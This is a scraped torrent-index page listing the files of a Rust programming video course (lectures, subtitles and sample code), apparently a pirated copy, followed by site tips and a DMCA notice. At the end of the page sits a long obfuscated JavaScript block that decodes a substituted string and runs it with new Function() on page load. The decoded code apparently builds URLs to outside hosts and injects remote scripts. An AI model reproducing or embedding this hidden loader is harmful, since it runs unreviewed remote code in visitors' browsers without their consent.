The Rust Programming Language

mp4   Hot:65   Size:979.12 MB   Created:2020-04-13 21:04:12   Update:2021-12-05 15:38:30  

File List

  • 08.02.Building Modules and Crates.mp4 58.28 MB
    02.01.Core Data Types.mp4 49.11 MB
    06.01.Traits.mp4 42.85 MB
    04.06.Vectors.mp4 40.78 MB
    04.10.Pattern Matching.mp4 40.58 MB
    04.05.Arrays.mp4 37.72 MB
    05.03.Closures.mp4 34.31 MB
    04.09.Tuples.mp4 34.3 MB
    02.02.Operators.mp4 34 MB
    04.08.Strings.mp4 33.81 MB
    04.02.Enumerations.mp4 30.99 MB
    02.05.Stack and Heap.mp4 30.49 MB
    01.04.Introducing the Cargo Package Manager.mp4 29.87 MB
    02.03.Scope and Shadowing.mp4 23.81 MB
    08.04.Comments and Documentation.mp4 22.59 MB
    04.04.OptionT and if let-while let.mp4 22.09 MB
    02.04.Declaring and Using Constants.mp4 22.05 MB
    03.01.If Statement.mp4 21.94 MB
    07.01.Ownership.mp4 21.6 MB
    03.04.Match Statement.mp4 20.98 MB
    04.11.Generics.mp4 20.52 MB
    07.02.Borrowing.mp4 20.48 MB
    08.01.Consuming Crates.mp4 18.56 MB
    08.03.Testing.mp4 17.92 MB
    05.01.Functions and Function Arguments.mp4 16.68 MB
    04.07.Slices.mp4 16.52 MB
    05.04.Higher-Order Functions.mp4 16.17 MB
    01.03. Hello, Rust!.mp4 15.75 MB
    07.03.Lifetime.mp4 15.16 MB
    07.06.Using a Mutex for Thread-Safe Mutability.mp4 14.67 MB
    01.01.Course Introduction.mp4 14.64 MB
    03.03.For Loops.mp4 13.45 MB
    03.02.While and Loop.mp4 13.26 MB
    07.04.Reference-Counted Variables (Rc).mp4 13.13 MB
    06.02.Operator Overloading.mp4 12.31 MB
    04.01.Structs.mp4 11.83 MB
    01.05.IDE Support.mp4 11.7 MB
    04.03.Unions.mp4 10.37 MB
    06.03.Static Dispatch.mp4 10.13 MB
    06.05.Why Dynamic Dispatch.mp4 9.95 MB
    01.02.Installing and Configuring Rust.mp4 9.39 MB
    05.02.Methods.mp4 9.18 MB
    07.05.Atomic Reference-Counted Variables (Arc).mp4 8.55 MB
    06.04.Dynamic Dispatch.mp4 5.66 MB
    code_examples/01 Introduction/001 slides.pptx 190.18 KB
    code_examples/02 Types and Variables/006 Core Data Types-en.srt 22.38 KB
    code_examples/02 Types and Variables/006 Core Data Types-pt.srt 22.38 KB
    code_examples/04 Data Structures/020 Vectors-pt.srt 18.66 KB
    code_examples/04 Data Structures/020 Vectors-en.srt 18.52 KB
    code_examples/04 Data Structures/019 Arrays-pt.srt 17.94 KB
    code_examples/04 Data Structures/019 Arrays-en.srt 17.86 KB
    code_examples/04 Data Structures/024 Pattern Matching-en.srt 17.55 KB
    code_examples/06 Traits/030 Traits-en.srt 17 KB
    code_examples/06 Traits/030 Traits-pt.srt 16.9 KB
    code_examples/05 Functions/028 Closures-en.srt 15.88 KB
    code_examples/05 Functions/028 Closures-pt.srt 15.77 KB
    code_examples/04 Data Structures/022 Strings-en.srt 15.25 KB
    code_examples/04 Data Structures/022 Strings-pt.srt 15.14 KB
    code_examples/02 Types and Variables/010 Stack and Heap-pt.srt 14.95 KB
    code_examples/02 Types and Variables/010 Stack and Heap-en.srt 14.87 KB
    code_examples/02 Types and Variables/007 Operators-pt.srt 14.33 KB
    code_examples/02 Types and Variables/007 Operators-en.srt 14.27 KB
    code_examples/08 Odds Ends/042 Building Modules and Crates-en.srt 14.16 KB
    code_examples/08 Odds Ends/042 Building Modules and Crates-pt.srt 14.12 KB
    code_examples/04 Data Structures/023 Tuples-pt.srt 13.4 KB
    code_examples/04 Data Structures/023 Tuples-en.srt 13.38 KB
    code_examples/04 Data Structures/016 Enumerations-en.srt 12.73 KB
    code_examples/04 Data Structures/016 Enumerations-pt.srt 12.64 KB
    code_examples/01 Introduction/004 Introducing the Cargo Package Manager-en.srt 10.81 KB
    code_examples/07 Lifetime and Memory/035 Ownership-en.srt 10.72 KB
    code_examples/01 Introduction/004 Introducing the Cargo Package Manager-pt.srt 10.69 KB
    code_examples/07 Lifetime and Memory/037 Lifetime-en.srt 10.16 KB
    code_examples/07 Lifetime and Memory/037 Lifetime-pt.srt 10.04 KB
    code_examples/03 Control Flow/011 If Statement-pt.srt 10.03 KB
    code_examples/03 Control Flow/011 If Statement-en.srt 9.99 KB
    code_examples/07 Lifetime and Memory/040 Using a Mutex for Thread-Safe Mutability-pt.srt 9.82 KB
    code_examples/07 Lifetime and Memory/040 Using a Mutex for Thread-Safe Mutability-en.srt 9.77 KB
    code_examples/07 Lifetime and Memory/038 Reference-Counted Variables (Rc)-en.srt 9.64 KB
    code_examples/07 Lifetime and Memory/036 Borrowing-en.srt 9.53 KB
    code_examples/07 Lifetime and Memory/036 Borrowing-pt.srt 9.51 KB
    code_examples/07 Lifetime and Memory/038 Reference-Counted Variables (Rc)-pt.srt 9.4 KB
    code_examples/04 Data Structures/018 OptionT and if letwhile let-pt.srt 9.2 KB
    code_examples/05 Functions/026 Functions and Function Arguments-en.srt 9.17 KB
    code_examples/04 Data Structures/018 OptionT and if letwhile let-en.srt 9.15 KB
    code_examples/05 Functions/026 Functions and Function Arguments-pt.srt 9.14 KB
    code_examples/06 Traits/032 Static Dispatch-pt.srt 9.06 KB
    code_examples/03 Control Flow/014 Match Statement-pt.srt 9 KB
    code_examples/03 Control Flow/014 Match Statement-en.srt 8.99 KB
    code_examples/06 Traits/032 Static Dispatch-en.srt 8.99 KB
    code_examples/05 Functions/029 Higher-Order Functions-en.srt 8.79 KB
    code_examples/05 Functions/029 Higher-Order Functions-pt.srt 8.64 KB
    code_examples/02 Types and Variables/008 Scope and Shadowing-en.srt 8.39 KB
    code_examples/08 Odds Ends/044 Comments and Documentation-en.srt 8.34 KB
    code_examples/02 Types and Variables/008 Scope and Shadowing-pt.srt 8.33 KB
    code_examples/04 Data Structures/017 Unions-pt.srt 8.24 KB
    code_examples/08 Odds Ends/044 Comments and Documentation-pt.srt 8.22 KB
    code_examples/04 Data Structures/017 Unions-en.srt 8.04 KB
    code_examples/04 Data Structures/025 Generics-pt.srt 8.03 KB
    code_examples/04 Data Structures/025 Generics-en.srt 8.03 KB
    code_examples/04 Data Structures/021 Slices-en.srt 7.96 KB
    code_examples/06 Traits/034 Why Dynamic Dispatch-en.srt 7.29 KB
    code_examples/06 Traits/034 Why Dynamic Dispatch-pt.srt 7.22 KB
    code_examples/08 Odds Ends/041 Consuming Crates-pt.srt 6.97 KB
    code_examples/08 Odds Ends/041 Consuming Crates-en.srt 6.95 KB
    code_examples/08 Odds Ends/043 Testing-en.srt 6.33 KB
    code_examples/08 Odds Ends/043 Testing-pt.srt 6.29 KB
    code_examples/03 Control Flow/013 For Loops-en.srt 6.11 KB
    code_examples/06 Traits/031 Operator Overloading-pt.srt 6.02 KB
    code_examples/06 Traits/031 Operator Overloading-en.srt 6 KB
    code_examples/03 Control Flow/013 For Loops-pt.srt 5.98 KB
    code_examples/02 Types and Variables/009 Declaring and Using Constants-en.srt 5.89 KB
    code_examples/03 Control Flow/012 While and Loop-en.srt 5.89 KB
    code_examples/07 Lifetime and Memory/039 Atomic Reference-Counted Variables (Arc)-en.srt 5.88 KB
    code_examples/02 Types and Variables/009 Declaring and Using Constants-pt.srt 5.87 KB
    code_examples/07 Lifetime and Memory/039 Atomic Reference-Counted Variables (Arc)-pt.srt 5.8 KB
    code_examples/03 Control Flow/012 While and Loop-pt.srt 5.76 KB
    code_examples/01 Introduction/005 IDE Support-pt.srt 5.18 KB
    code_examples/01 Introduction/001 Course Introduction-pt.srt 5.17 KB
    code_examples/01 Introduction/001 Course Introduction-en.srt 5.14 KB
    code_examples/01 Introduction/005 IDE Support-en.srt 5.14 KB
    code_examples/01 Introduction/003 Hello Rust-pt.srt 4.93 KB
    code_examples/04 Data Structures/015 Structs-pt.srt 4.9 KB
    code_examples/04 Data Structures/015 Structs-en.srt 4.87 KB
    code_examples/01 Introduction/003 Hello Rust-en.srt 4.85 KB
    code_examples/05 Functions/027 Methods-pt.srt 4.15 KB
    code_examples/06 Traits/033 Dynamic Dispatch-en.srt 4.14 KB
    code_examples/06 Traits/033 Dynamic Dispatch-pt.srt 4.11 KB
    code_examples/05 Functions/027 Methods-en.srt 4.1 KB
    code_examples/01 Introduction/002 Installing and Configuring Rust-en.srt 3.77 KB
    code_examples/01 Introduction/002 Installing and Configuring Rust-pt.srt 3.73 KB
    content.txt 2.13 KB
    code_examples/06 Traits/034 main.rs 556 B
    code_examples/01 Introduction/005 VisualRust-Visual-Studio-Extension-for-Rust-.txt 85 B
    code_examples/01 Introduction/005 Visual-Studio-Community-Edition-Free-IDE-for-Windows-.txt 77 B
    code_examples/04 Data Structures/022 String-vs-str-in-Rust-functions.txt 73 B
    code_examples/01 Introduction/005 Rust-and-IDEs-contains-links-to-some-other-Rust-IDE-packages-.txt 37 B
    code_examples/01 Introduction/002 Rust-playground.txt 29 B
    code_examples/01 Introduction/002 Rust-language-homepage.txt 28 B
    code_examples/08 Odds Ends/041 crates.io.txt 18 B

Download Info

  • Tips

    “The Rust Programming Language” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();